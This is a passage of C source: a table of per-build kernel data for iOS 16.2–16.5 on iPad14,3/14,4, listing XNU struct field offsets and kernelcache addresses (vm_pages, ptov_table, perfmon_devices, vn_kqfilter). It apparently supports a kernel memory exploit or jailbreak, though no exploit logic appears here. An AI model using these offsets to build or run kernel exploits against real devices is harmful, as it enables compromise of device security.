0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa75208,\n            .kernelcache__gPhysBase = 0xfffffe0007a87fc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a87fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a86198,\n            .kernelcache__perfmon_devices = 0xfffffe000aab3520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d4fa4,\n            .kernelcache__ptov_table = 0xfffffe00079d3180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aab2990,\n            .kernelcache__vm_pages = 0xfffffe00079cfec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079d2130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aab2988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812187c,\n        },\n\n        // iOS 16.4.1\n        {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:28 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad14,3\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa75208,\n            .kernelcache__gPhysBase = 0xfffffe0007a87fc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a87fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a86198,\n            .kernelcache__perfmon_devices = 0xfffffe000aab3520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d4fa4,\n            .kernelcache__ptov_table = 0xfffffe00079d3180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aab2990,\n            .kernelcache__vm_pages = 0xfffffe00079cfec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079d2130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aab2988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812187c,\n        },\n\n        // iOS 16.5\n        {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:36 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad14,3\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa81288,\n            .kernelcache__gPhysBase = 0xfffffe0007a8c100,\n            .kernelcache__gPhysSize = 0xfffffe0007a8c100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a8a2d8,\n            .kernelcache__perfmon_devices = 0xfffffe000aabf520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d9214,\n            .kernelcache__ptov_table = 0xfffffe00079d7180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aabe990,\n            .kernelcache__vm_pages = 0xfffffe00079d3ec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079d6130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aabe988,\n            .kernelcache__vn_kqfilter = 0xfffffe0008125d84,\n        },\n\n\n    // iPad Pro 11 4th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:34 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad14,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a989190,\n            .kernelcache__gPhysBase = 0xfffffe00079a80c8,\n            .kernelcache__gPhysSize = 0xfffffe00079a80c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079a62a8,\n            .kernelcache__perfmon_devices = 0xfffffe000a9c43b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080bcdd0,\n            .kernelcache__ptov_table = 0xfffffe00078f3370,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a9c3800,\n            .kernelcache__vm_pages = 0xfffffe00078f0098,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078f2330,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9c37f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810cdf8,\n        },\n\n        // iOS 16.3\n        {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:23:25 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad14,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a99d190,\n            .kernelcache__gPhysBase = 0xfffffe00079a81b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a81b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079a6390,\n            .kernelcache__perfmon_devices = 0xfffffe000a9d83b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080bcc60,\n            .kernelcache__ptov_table = 0xfffffe00078f33b0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a9d7800,\n            .kernelcache__vm_pages = 0xfffffe00078f00d8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078f2370,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9d77f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810cc88,\n        },\n\n        // iOS 16.3.1\n        {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:23:25 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad14,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a99d190,\n            .kernelcache__gPhysBase = 0xfffffe00079a81b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a81b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079a6390,\n            .kernelcache__perfmon_devices = 0xfffffe000a9d83b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080bcc60,\n            .kernelcache__ptov_table = 0xfffffe00078f33b0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a9d7800,\n            .kernelcache__vm_pages = 0xfffffe00078f00d8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078f2370,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9d77f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810cc88,\n        },\n\n        // iOS 16.4\n        {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:28 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad14,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa75208,\n            .kernelcache__gPhysBase = 0xfffffe0007a87fc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a87fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a86198,\n            .kernelcache__perfmon_devices = 0xfffffe000aab3520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d4fa4,\n            .kernelcache__ptov_table = 0xfffffe00079d3180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aab2990,\n            .kernelcache__vm_pages = 0xfffffe00079cfec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079d2130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aab2988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812187c,\n        },\n\n        // iOS 16.4.1\n        {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:28 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad14,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 